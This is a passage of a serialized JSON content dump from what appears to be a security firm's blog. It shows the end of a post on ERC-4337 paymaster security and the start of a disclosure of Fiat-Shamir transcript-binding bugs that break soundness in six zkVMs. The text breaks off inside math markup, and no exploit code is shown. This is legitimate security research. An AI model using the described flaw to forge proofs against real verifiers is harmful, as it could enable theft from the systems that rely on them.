particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":135,"props":105678,"children":105680},{"className":105679},[],[105681],{"type":28,"value":100167},{"type":28,"value":105683}," contract's behavior could potentially break existing ",{"type":23,"tag":135,"props":105685,"children":105687},{"className":105686},[],[105688],{"type":28,"value":100239},{"type":28,"value":105690}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":135,"props":105692,"children":105694},{"className":105693},[],[105695],{"type":28,"value":100167},{"type":28,"value":105697}," versions.",{"type":23,"tag":24,"props":105699,"children":105700},{},[105701],{"type":28,"value":105702},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":105704,"children":105705},{},[105706],{"type":28,"value":105707},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":817,"props":105709,"children":105710},{},[105711],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":105713},[105714,105715,105716,105723,105728,105729],{"id":100001,"depth":151,"text":100004},{"id":100017,"depth":151,"text":100020},{"id":100056,"depth":151,"text":100059,"children":105717},[105718,105719,105720,105721,105722],{"id":100079,"depth":160,"text":100086},{"id":100120,"depth":160,"text":100123},{"id":100146,"depth":160,"text":100149},{"id":12734,"depth":160,"text":100167},{"id":100239,"depth":160,"text":100250},{"id":100302,"depth":151,"text":105724,"children":105725},"Understanding the EntryPoint's Flow",[105726,105727],{"id":100358,"depth":160,"text":100361},{"id":100543,"depth":160,"text":100546},{"id":100786,"depth":151,"text":100792},{"id":102386,"depth":151,"text":102392,"children":105730},[105731,105732],{"id":102446,"depth":160,"text":102449},{"id":102506,"depth":160,"text":102509},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":105737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":105738,"description":105739,"date":105740,"author":105741,"image":105744,"isFeatured":15,"onBlogPage":15,"tags":105746,"body":105748,"_type":831,"_id":121553,"_source":833,"_file":121554,"_stem":121555,"_extension":836},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[105742,105743],"himanshu","valter",{"src":105745,"width":95172,"height":13},"/posts/zkvms-unfaithful-claims/title.png",[105747],"zkVM",{"type":20,"children":105749,"toc":121517},[105750,105755,105797,105810,105813,105819,105824,105952,105955,105961,105967,105972,106004,106152,106157,106280,106291,106302,106325,106336,106341,106374,106382,106387,106390,106396,106401,106407,106412,106417,106425,106443,106584,106589,106595,106688,107422,107490,107501,107509,107983,107989,108428,108768,108921,108926,109814,109970,109976,110068,110073,110658,111108,111184,111190,111195,111264,111274,111290,111300,111361,111780,111812,111822,111997,112002,112012,112612,112800,112818,112821,112827,112832,112840,112872,113234,113239,113324,113327,113333,113341,113346,113349,113355,113360,113368,113376,113384,113392,113425,113433,113441,113532,113783,114110,114118,114148,114318,114644,114649,114654,114671,114674,114679,114684,114696,114708,115299,115311,115323,115330,115338,115350,115358,115373,115378,115658,115677,115772,115791,115807,115810,115816,115821,115826,115833,115841,115848,115856,115869,115887,116347,116449,116454,116459,116475,116478,116484,116489,116501,116512,116517,116907,116914,116922,116947,116967,117223,117234,117253,117637,117983,118213,118372,118532,119100,119105,119131,119134,119140,119145,119152,119160,119173,119245,119256,119264,119274,119282,119293,119567,119656,119685,119688,119693,119827,119839,119846,119851,120004,120030,120037,120045,120050,120116,120121,120511,120598,120614,120617,120623,120628,120634,120734,120793,120798,120804,120809,120817,120822,120828,120833,120838,120844,120849,120852,120858,120864,120869,120874,120879,120884,120889,120892,120898,121061,121066,121069,121074,121085,121402,121407,121431,121436,121454,121459,121462,121468,121473,121478,121488,121493,121503,121513],{"type":23,"tag":24,"props":105751,"children":105752},{},[105753],{"type":28,"value":105754},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":105756,"children":105757},{},[105758,105760,105765,105766,105771,105772,105777,105778,105783,105784,105789,105790,105795],{"type":28,"value":105759},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":56,"props":105761,"children":105762},{},[105763],{"type":28,"value":105764},"Jolt",{"type":28,"value":1052},{"type":23,"tag":56,"props":105767,"children":105768},{},[105769],{"type":28,"value":105770},"Nexus",{"type":28,"value":1052},{"type":23,"tag":56,"props":105773,"children":105774},{},[105775],{"type":28,"value":105776},"Cairo-M",{"type":28,"value":1052},{"type":23,"tag":56,"props":105779,"children":105780},{},[105781],{"type":28,"value":105782},"Ceno",{"type":28,"value":1052},{"type":23,"tag":56,"props":105785,"children":105786},{},[105787],{"type":28,"value":105788},"Expander",{"type":28,"value":4490},{"type":23,"tag":56,"props":105791,"children":105792},{},[105793],{"type":28,"value":105794},"Binius64",{"type":28,"value":105796},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":105798,"children":105799},{},[105800,105802,105808],{"type":28,"value":105801},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":64,"props":105803,"children":105805},{"href":105804},"#challenges",[105806],{"type":28,"value":105807},"Challenges",{"type":28,"value":105809}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":16800,"props":105811,"children":105812},{},[],{"type":23,"tag":41,"props":105814,"children":105816},{"id":105815},"jargon-cheat-sheet",[105817],{"type":28,"value":105818},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":105820,"children":105821},{},[105822],{"type":28,"value":105823},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":14699,"props":105825,"children":105826},{},[105827,105837,105847,105857,105867,105877,105887,105897,105907,105917,105927,105937],{"type":23,"tag":801,"props":105828,"children":105829},{},[105830,105835],{"type":23,"tag":56,"props":105831,"children":105832},{},[105833],{"type":28,"value":105834},"Fiat-Shamir",{"type":28,"value":105836},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":801,"props":105838,"children":105839},{},[105840,105845],{"type":23,"tag":56,"props":105841,"children":105842},{},[105843],{"type":28,"value":105844},"Transcript",{"type":28,"value":105846},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":801,"props":105848,"children":105849},{},[105850,105855],{"type":23,"tag":56,"props":105851,"children":105852},{},[105853],{"type":28,"value":105854},"Polynomial Commitment",{"type":28,"value":105856},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":801,"props":105858,"children":105859},{},[105860,105865],{"type":23,"tag":56,"props":105861,"children":105862},{},[105863],{"type":28,"value":105864},"Sumcheck",{"type":28,"value":105866},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":801,"props":105868,"children":105869},{},[105870,105875],{"type":23,"tag":56,"props":105871,"children":105872},{},[105873],{"type":28,"value":105874},"MLE (Multilinear Extension)",{"type":28,"value":105876},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":801,"props":105878,"children":105879},{},[105880,105885],{"type":23,"tag":56,"props":105881,"children":105882},{},[105883],{"type":28,"value":105884},"Lookup / LogUp",{"type":28,"value":105886},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":801,"props":105888,"children":105889},{},[105890,105895],{"type":23,"tag":56,"props":105891,"children":105892},{},[105893],{"type":28,"value":105894},"AIR",{"type":28,"value":105896},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":801,"props":105898,"children":105899},{},[105900,105905],{"type":23,"tag":56,"props":105901,"children":105902},{},[105903],{"type":28,"value":105904},"STARK",{"type":28,"value":105906},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":801,"props":105908,"children":105909},{},[105910,105915],{"type":23,"tag":56,"props":105911,"children":105912},{},[105913],{"type":28,"value":105914},"FRI",{"type":28,"value":105916},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":801,"props":105918,"children":105919},{},[105920,105925],{"type":23,"tag":56,"props":105921,"children":105922},{},[105923],{"type":28,"value":105924},"OODS",{"type":28,"value":105926},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":801,"props":105928,"children":105929},{},[105930,105935],{"type":23,"tag":56,"props":105931,"children":105932},{},[105933],{"type":28,"value":105934},"GKR",{"type":28,"value":105936},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":801,"props":105938,"children":105939},{},[105940,105945,105947],{"type":23,"tag":56,"props":105941,"children":105942},{},[105943],{"type":28,"value":105944},"claimed_sum / opening_claim",{"type":28,"value":105946},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":56,"props":105948,"children":105949},{},[105950],{"type":28,"value":105951},"These are the usual suspects for binding bugs.",{"type":23,"tag":16800,"props":105953,"children":105954},{},[],{"type":23,"tag":41,"props":105956,"children":105958},{"id":105957},"what-are-we-even-breaking",[105959],{"type":28,"value":105960},"What Are We Even Breaking?",{"type":23,"tag":666,"props":105962,"children":105964},{"id":105963},"what-is-a-zkvm",[105965],{"type":28,"value":105966},"What is a zkVM?",{"type":23,"tag":24,"props":105968,"children":105969},{},[105970],{"type":28,"value":105971},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":105973,"children":105974},{},[105975,105977,106002],{"type":28,"value":105976},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":135,"props":105978,"children":105980},{"className":105979},[1981,1982],[105981],{"type":23,"tag":139,"props":105982,"children":105984},{"className":105983},[1987],[105985],{"type":23,"tag":139,"props":105986,"children":105988},{"className":105987,"ariaHidden":1993},[1992],[105989],{"type":23,"tag":139,"props":105990,"children":105992},{"className":105991},[1998],[105993,105997],{"type":23,"tag":139,"props":105994,"children":105996},{"className":105995,"style":19591},[2003],[],{"type":23,"tag":139,"props":105998,"children":106000},{"className":105999,"style":19597},[2009,19596],[106001],{"type":28,"value":3990},{"type":28,"value":106003}," such that:",{"type":23,"tag":24,"props":106005,"children":106006},{},[106007],{"type":23,"tag":135,"props":106008,"children":106010},{"className":106009},[1981,1982],[106011],{"type":23,"tag":139,"props":106012,"children":106014},{"className":106013},[1987],[106015],{"type":23,"tag":139,"props":106016,"children":106018},{"className":106017,"ariaHidden":1993},[1992],[106019,106063,106138],{"type":23,"tag":139,"props":106020,"children":106022},{"className":106021},[1998],[106023,106027,106033,106037,106042,106046,106050,106055,106059],{"type":23,"tag":139,"props":106024,"children":106026},{"className":106025,"style":90866},[2003],[],{"type":23,"tag":139,"props":106028,"children":106030},{"className":106029},[2009],[106031],{"type":28,"value":106032},"∃",{"type":23,"tag":139,"props":106034,"children":106036},{"className":106035,"style":2187},[2089],[],{"type":23,"tag":139,"props":106038,"children":106040},{"className":106039,"style":19597},[2009,19596],[106041],{"type":28,"value":3990},{"type":23,"tag":139,"props":106043,"children":106045},{"className":106044,"style":2187},[2089],[],{"type":23,"tag":139,"props":106047,"children":106049},{"className":106048,"style":2187},[2089],[],{"type":23,"tag":139,"props":106051,"children":106053},{"className":106052},[2192],[106054],{"type":28,"value":2493},{"type":23,"tag":139,"props":106056,"children":106058},{"className":106057,"style":2187},[2089],[],{"type":23,"tag":139,"props":106060,"children":106062},{"className":106061,"style":2187},[2089],[],{"type":23,"tag":139,"props":106064,"children":106066},{"className":106065},[1998],[106067,106071,106082,106087,106092,106097,106101,106106,106111,106115,106120,106125,106129,106134],{"type":23,"tag":139,"props":106068,"children":106070},{"className":106069,"style":2110},[2003],[],{"type":23,"tag":139,"props":106072,"children":106074},{"className":106073},[2009],[106075],{"type":23,"tag":139,"props":106076,"children":106079},{"className":106077},[2009,106078],"mathsf",[106080],{"type":28,"value":106081},"VM",{"type":23,"tag":139,"props":106083,"children":106085},{"className":106084},[19725],[106086],{"type":28,"value":262},{"type":23,"tag":139,"props":106088,"children":106090},{"className":106089,"style":19597},[2009,19596],[106091],{"type":28,"value":19600},{"type":23,"tag":139,"props":106093,"children":106095},{"className":106094},[2121],[106096],{"type":28,"value":2124},{"type":23,"tag":139,"props":106098,"children":106100},{"className":106099,"style":2128},[2089],[],{"type":23,"tag":139,"props":106102,"children":106104},{"className":106103,"style":92971},[2009,19596],[106105],{"type":28,"value":4136},{"type":23,"tag":139,"props":106107,"children":106109},{"className":106108},[2121],[106110],{"type":28,"value":2124},{"type":23,"tag":139,"props":106112,"children":106114},{"className":106113,"style":2128},[2089],[],{"type":23,"tag":139,"props":106116,"children":106118},{"className":106117,"style":19597},[2009,19596],[106119],{"type":28,"value":3990},{"type":23,"tag":139,"props":106121,"children":106123},{"className":106122},[19747],[106124],{"type":28,"value":1104},{"type":23,"tag":139,"props":106126,"children":106128},{"className":106127,"style":2187},[2089],[],{"type":23,"tag":139,"props":106130,"children":106132},{"className":106131},[2192],[106133],{"type":28,"value":20342},{"type":23,"tag":139,"props":106135,"children":106137},{"className":106136,"style":2187},[2089],[],{"type":23,"tag":139,"props":106139,"children":106141},{"className":106140},[1998],[106142,106146],{"type":23,"tag":139,"props":106143,"children":106145},{"className":106144,"style":19591},[2003],[],{"type":23,"tag":139,"props":106147,"children":106150},{"className":106148,"style":106149},[2009,19596],"margin-right:0.22222em;",[106151],{"type":28,"value":4166},{"type":23,"tag":24,"props":106153,"children":106154},{},[106155],{"type":28,"value":106156},"where:",{"type":23,"tag":14699,"props":106158,"children":106159},{},[106160,106190,106220,106250],{"type":23,"tag":801,"props":106161,"children":106162},{},[106163,106188],{"type":23,"tag":135,"props":106164,"children":106166},{"className":106165},[1981,1982],[106167],{"type":23,"tag":139,"props":106168,"children":106170},{"className":106169},[1987],[106171],{"type":23,"tag":139,"props":106172,"children":106174},{"className":106173,"ariaHidden":1993},[1992],[106175],{"type":23,"tag":139,"props":106176,"children":106178},{"className":106177},[1998],[106179,106183],{"type":23,"tag":139,"props":106180,"children":106182},{"className":106181,"style":19591},[2003],[],{"type":23,"tag":139,"props":106184,"children":106186},{"className":106185,"style":19597},[2009,19596],[106187],{"type":28,"value":19600},{"type":28,"value":106189}," = program/circuit description (public)",{"type":23,"tag":801,"props":106191,"children":106192},{},[106193,106218],{"type":23,"tag":135,"props":106194,"children":106196},{"className":106195},[1981,1982],[106197],{"type":23,"tag":139,"props":106198,"children":106200},{"className":106199},[1987],[106201],{"type":23,"tag":139,"props":106202,"children":106204},{"className":106203,"ariaHidden":1993},[1992],[106205],{"type":23,"tag":139,"props":106206,"children":106208},{"className":106207},[1998],[106209,106213],{"type":23,"tag":139,"props":106210,"children":106212},{"className":106211,"style":19591},[2003],[],{"type":23,"tag":139,"props":106214,"children":106216},{"className":106215,"style":92971},[2009,19596],[106217],{"type":28,"value":4136},{"type":28,"value":106219}," = public input",{"type":23,"tag":801,"props":106221,"children":106222},{},[106223,106248],{"type":23,"tag":135,"props":106224,"children":106226},{"className":106225},[1981,1982],[106227],{"type":23,"tag":139,"props":106228,"children":106230},{"className":106229},[1987],[106231],{"type":23,"tag":139,"props":106232,"children":106234},{"className":106233,"ariaHidden":1993},[1992],[106235],{"type":23,"tag":139,"props":106236,"children":106238},{"className":106237},[1998],[106239,106243],{"type":23,"tag":139,"props":106240,"children":106242},{"className":106241,"style":19591},[2003],[],{"type":23,"tag":139,"props":106244,"children":106246},{"className":106245,"style":106149},[2009,19596],[106247],{"type":28,"value":4166},{"type":28,"value":106249}," = claimed public output",{"type":23,"tag":801,"props":106251,"children":106252},{},[106253,106278],{"type":23,"tag":135,"props":106254,"children":106256},{"className":106255},[1981,1982],[106257],{"type":23,"tag":139,"props":106258,"children":106260},{"className":106259},[1987],[106261],{"type":23,"tag":139,"props":106262,"children":106264},{"className":106263,"ariaHidden":1993},[1992],[106265],{"type":23,"tag":139,"props":106266,"children":106268},{"className":106267},[1998],[106269,106273],{"type":23,"tag":139,"props":106270,"children":106272},{"className":106271,"style":19591},[2003],[],{"type":23,"tag":139,"props":106274,"children":106276},{"className":106275,"style":19597},[2009,19596],[106277],{"type":28,"value":3990},{"type":28,"value":106279}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":106281,"children":106282},{},[106283,106285,106289],{"type":28,"value":106284},"The verifier does ",{"type":23,"tag":56,"props":106286,"children":106287},{},[106288],{"type":28,"value":16499},{"type":28,"value":106290}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":106292,"children":106293},{},[106294,106296,106301],{"type":28,"value":106295},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":56,"props":106297,"children":106298},{},[106299],{"type":28,"value":106300},"soundness",{"type":28,"value":2493},{"type":23,"tag":14699,"props":106303,"children":106304},{},[106305,106315],{"type":23,"tag":801,"props":106306,"children":106307},{},[106308,106313],{"type":23,"tag":56,"props":106309,"children":106310},{},[106311],{"type":28,"value":106312},"Completeness",{"type":28,"value":106314},": honest execution verifies.",{"type":23,"tag":801,"props":106316,"children":106317},{},[106318,106323],{"type":23,"tag":56,"props":106319,"children":106320},{},[106321],{"type":28,"value":106322},"Soundness",{"type":28,"value":106324},": false execution should not verify.",{"type":23,"tag":24,"props":106326,"children":106327},{},[106328,106330,106334],{"type":28,"value":106329},"We are breaking ",{"type":23,"tag":56,"props":106331,"children":106332},{},[106333],{"type":28,"value":106300},{"type":28,"value":106335}," in all six systems.",{"type":23,"tag":24,"props":106337,"children":106338},{},[106339],{"type":28,"value":106340},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":797,"props":106342,"children":106343},{},[106344,106349,106354,106359,106364,106369],{"type":23,"tag":801,"props":106345,"children":106346},{},[106347],{"type":28,"value":106348},"Fix public statement data.",{"type":23,"tag":801,"props":106350,"children":106351},{},[106352],{"type":28,"value":106353},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":801,"props":106355,"children":106356},{},[106357],{"type":28,"value":106358},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":801,"props":106360,"children":106361},{},[106362],{"type":28,"value":106363},"Check constraint equations at sampled points.",{"type":23,"tag":801,"props":106365,"children":106366},{},[106367],{"type":28,"value":106368},"Check PCS/opening consistency.",{"type":23,"tag":801,"props":106370,"children":106371},{},[106372],{"type":28,"value":106373},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":106375,"children":106376},{},[106377],{"type":23,"tag":429,"props":106378,"children":106381},{"alt":106379,"src":106380},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":106383,"children":106384},{},[106385],{"type":28,"value":106386},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":16800,"props":106388,"children":106389},{},[],{"type":23,"tag":41,"props":106391,"children":106393},{"id":106392},"the-building-blocks",[106394],{"type":28,"value":106395},"The Building Blocks",{"type":23,"tag":24,"props":106397,"children":106398},{},[106399],{"type":28,"value":106400},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":666,"props":106402,"children":106404},{"id":106403},"the-fiat-shamir-transform",[106405],{"type":28,"value":106406},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":106408,"children":106409},{},[106410],{"type":28,"value":106411},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":106413,"children":106414},{},[106415],{"type":28,"value":106416},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":106418,"children":106419},{},[106420],{"type":23,"tag":429,"props":106421,"children":106424},{"alt":106422,"src":106423},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":106426,"children":106427},{},[106428,106430,106434,106436,106441],{"type":28,"value":106429},"The hash (transcript) ",{"type":23,"tag":56,"props":106431,"children":106432},{},[106433],{"type":28,"value":4522},{"type":28,"value":106435}," include everything that affects verification ",{"type":23,"tag":56,"props":106437,"children":106438},{},[106439],{"type":28,"value":106440},"BEFORE",{"type":28,"value":106442}," the challenges derived from it are used.",{"type":23,"tag":24,"props":106444,"children":106445},{},[106446,106448,106474,106476,106501,106503,106528,106530,106555,106557,106582],{"type":28,"value":106447},"If some value ",{"type":23,"tag":135,"props":106449,"children":106451},{"className":106450},[1981,1982],[106452],{"type":23,"tag":139,"props":106453,"children":106455},{"className":106454},[1987],[106456],{"type":23,"tag":139,"props":106457,"children":106459},{"className":106458,"ariaHidden":1993},[1992],[106460],{"type":23,"tag":139,"props":106461,"children":106463},{"className":106462},[1998],[106464,106468],{"type":23,"tag":139,"props":106465,"children":106467},{"className":106466,"style":19591},[2003],[],{"type":23,"tag":139,"props":106469,"children":106471},{"className":106470,"style":106149},[2009,19596],[106472],{"type":28,"value":106473},"V",{"type":28,"value":106475}," affects a verification equation, but ",{"type":23,"tag":135,"props":106477,"children":106479},{"className":106478},[1981,1982],[106480],{"type":23,"tag":139,"props":106481,"children":106483},{"className":106482},[1987],[106484],{"type":23,"tag":139,"props":106485,"children":106487},{"className":106486,"ariaHidden":1993},[1992],[106488],{"type":23,"tag":139,"props":106489,"children":106491},{"className":106490},[1998],[106492,106496],{"type":23,"tag":139,"props":106493,"children":106495},{"className":106494,"style":19591},[2003],[],{"type":23,"tag":139,"props":106497,"children":106499},{"className":106498,"style":106149},[2009,19596],[106500],{"type":28,"value":106473},{"type":28,"value":106502}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":135,"props":106504,"children":106506},{"className":106505},[1981,1982],[106507],{"type":23,"tag":139,"props":106508,"children":106510},{"className":106509},[1987],[106511],{"type":23,"tag":139,"props":106512,"children":106514},{"className":106513,"ariaHidden":1993},[1992],[106515],{"type":23,"tag":139,"props":106516,"children":106518},{"className":106517},[1998],[106519,106523],{"type":23,"tag":139,"props":106520,"children":106522},{"className":106521,"style":19591},[2003],[],{"type":23,"tag":139,"props":106524,"children":106526},{"className":106525,"style":106149},[2009,19596],[106527],{"type":28,"value":106473},{"type":28,"value":106529},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":135,"props":106531,"children":106533},{"className":106532},[1981,1982],[106534],{"type":23,"tag":139,"props":106535,"children":106537},{"className":106536},[1987],[106538],{"type":23,"tag":139,"props":106539,"children":106541},{"className":106540,"ariaHidden":1993},[1992],[106542],{"type":23,"tag":139,"props":106543,"children":106545},{"className":106544},[1998],[106546,106550],{"type":23,"tag":139,"props":106547,"children":106549},{"className":106548,"style":19591},[2003],[],{"type":23,"tag":139,"props":106551,"children":106553},{"className":106552,"style":106149},[2009,19596],[106554],{"type":28,"value":106473},{"type":28,"value":106556},", which may allow it to choose ",{"type":23,"tag":135,"props":106558,"children":106560},{"className":106559},[1981,1982],[106561],{"type":23,"tag":139,"props":106562,"children":106564},{"className":106563},[1987],[106565],{"type":23,"tag":139,"props":106566,"children":106568},{"className":106567,"ariaHidden":1993},[1992],[106569],{"type":23,"tag":139,"props":106570,"children":106572},{"className":106571},[1998],[106573,106577],{"type":23,"tag":139,"props":106574,"children":106576},{"className":106575,"style":19591},[2003],[],{"type":23,"tag":139,"props":106578,"children":106580},{"className":106579,"style":106149},[2009,19596],[106581],{"type":28,"value":106473},{"type":28,"value":106583}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":106585,"children":106586},{},[106587],{"type":28,"value":106588},"This is the bug class we found in all six systems.",{"type":23,"tag":666,"props":106590,"children":106592},{"id":106591},"the-sumcheck-protocol",[106593],{"type":28,"value":106594},"The Sumcheck Protocol",{"type":23,"tag":24,"props":106596,"children":106597},{},[106598,106600,106686],{"type":28,"value":106599},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":135,"props":106601,"children":106603},{"className":106602},[1981,1982],[106604],{"type":23,"tag":139,"props":106605,"children":106607},{"className":106606},[1987],[106608],{"type":23,"tag":139,"props":106609,"children":106611},{"className":106610,"ariaHidden":1993},[1992],[106612],{"type":23,"tag":139,"props":106613,"children":106615},{"className":106614},[1998],[106616,106620,106625,106630,106635,106639,106644],{"type":23,"tag":139,"props":106617,"children":106619},{"className":106618,"style":2110},[2003],[],{"type":23,"tag":139,"props":106621,"children":106623},{"className":106622},[19725],[106624],{"type":28,"value":74522},{"type":23,"tag":139,"props":106626,"children":106628},{"className":106627},[2009],[106629],{"type":28,"value":2021},{"type":23,"tag":139,"props":106631,"children":106633},{"className":106632},[2121],[106634],{"type":28,"value":2124},{"type":23,"tag":139,"props":106636,"children":106638},{"className":106637,"style":2128},[2089],[],{"type":23,"tag":139,"props":106640,"children":106642},{"className":106641},[2009],[106643],{"type":28,"value":647},{"type":23,"tag":139,"props":106645,"children":106647},{"className":106646},[19747],[106648,106653],{"type":23,"tag":139,"props":106649,"children":106651},{"className":106650},[19747],[106652],{"type":28,"value":32029},{"type":23,"tag":139,"props":106654,"children":106656},{"className":106655},[2025],[106657],{"type":23,"tag":139,"props":106658,"children":106660},{"className":106659},[2030],[106661],{"type":23,"tag":139,"props":106662,"children":106664},{"className":106663},[2035],[106665],{"type":23,"tag":139,"props":106666,"children":106669},{"className":106667,"style":106668},[2040],"height:0.6644em;",[106670],{"type":23,"tag":139,"props":106671,"children":106672},{"style":2044},[106673,106677],{"type":23,"tag":139,"props":106674,"children":106676},{"className":106675,"style":2050},[2049],[],{"type":23,"tag":139,"props":106678,"children":106680},{"className":106679},[2055,2056,2057,2058],[106681],{"type":23,"tag":139,"props":106682,"children":106684},{"className":106683},[2009,19596,2058],[106685],{"type":28,"value":54302},{"type":28,"value":106687},"), i.e the claim:",{"type":23,"tag":24,"props":106689,"children":106690},{},[106691],{"type":23,"tag":135,"props":106692,"children":106694},{"className":106693},[1981,1982],[106695],{"type":23,"tag":139,"props":106696,"children":106698},{"className":106697},[1987],[106699],{"type":23,"tag":139,"props":106700,"children":106702},{"className":106701,"ariaHidden":1993},[1992],[106703,106729],{"type":23,"tag":139,"props":106704,"children":106706},{"className":106705},[1998],[106707,106711,106716,106720,106725],{"type":23,"tag":139,"props":106708,"children":106710},{"className":106709,"style":19591},[2003],[],{"type":23,"tag":139,"props":106712,"children":106714},{"className":106713,"style":91185},[2009,19596],[106715],{"type":28,"value":91188},{"type":23,"tag":139,"props":106717,"children":106719},{"className":106718,"style":2187},[2089],[],{"type":23,"tag":139,"props":106721,"children":106723},{"className":106722},[2192],[106724],{"type":28,"value":1067},{"type":23,"tag":139,"props":106726,"children":106728},{"className":106727,"style":2187},[2089],[],{"type":23,"tag":139,"props":106730,"children":106732},{"className":106731},[1998],[106733,106737,106887,106891,107034,107038,107045,107049,107193,107197,107203,107208,107265,107270,107274,107331,107336,107340,107346,107350,107355,107359,107417],{"type":23,"tag":139,"props":106734,"children":106736},{"className":106735,"style":19627},[2003],[],{"type":23,"tag":139,"props":106738,"children":106740},{"className":106739},[19632],[106741,106747],{"type":23,"tag":139,"props":106742,"children":106744},{"className":106743,"style":19639},[19632,19637,19638],[106745],{"type":28,"value":106746},"∑",{"type":23,"tag":139,"props":106748,"children":106750},{"className":106749},[2025],[106751],{"type":23,"tag":139,"props":106752,"children":106754},{"className":106753},[2030,19650],[106755,106876],{"type":23,"tag":139,"props":106756,"children":106758},{"className":106757},[2035],[106759,106871],{"type":23,"tag":139,"props":106760,"children":106762},{"className":106761,"style":19659},[2040],[106763],{"type":23,"tag":139,"props":106764,"children":106765},{"style":19663},[106766,106770],{"type":23,"tag":139,"props":106767,"children":106769},{"className":106768,"style":2050},[2049],[],{"type":23,"tag":139,"props":106771,"children":106773},{"className":106772},[2055,2056,2057,2058],[106774],{"type":23,"tag":139,"props":106775,"children":106777},{"className":106776},[2009,2058],[106778,106841,106846,106851,106856,106861,106866],{"type":23,"tag":139,"props":106779,"children":106781},{"className":106780},[2009,2058],[106782,106787],{"type":23,"tag":139,"props":106783,"children":106785},{"className":106784},[2009,19596,2058],[106786],{"type":28,"value":17284},{"type":23,"tag":139,"props":106788,"children":106790},{"className":106789},[2025],[106791],{"type":23,"tag":139,"props":106792,"children":106794},{"className":106793},[2030,19650],[106795,106829],{"type":23,"tag":139,"props":106796,"children":106798},{"className":106797},[2035],[106799,106824],{"type":23,"tag":139,"props":106800,"children":106803},{"className":106801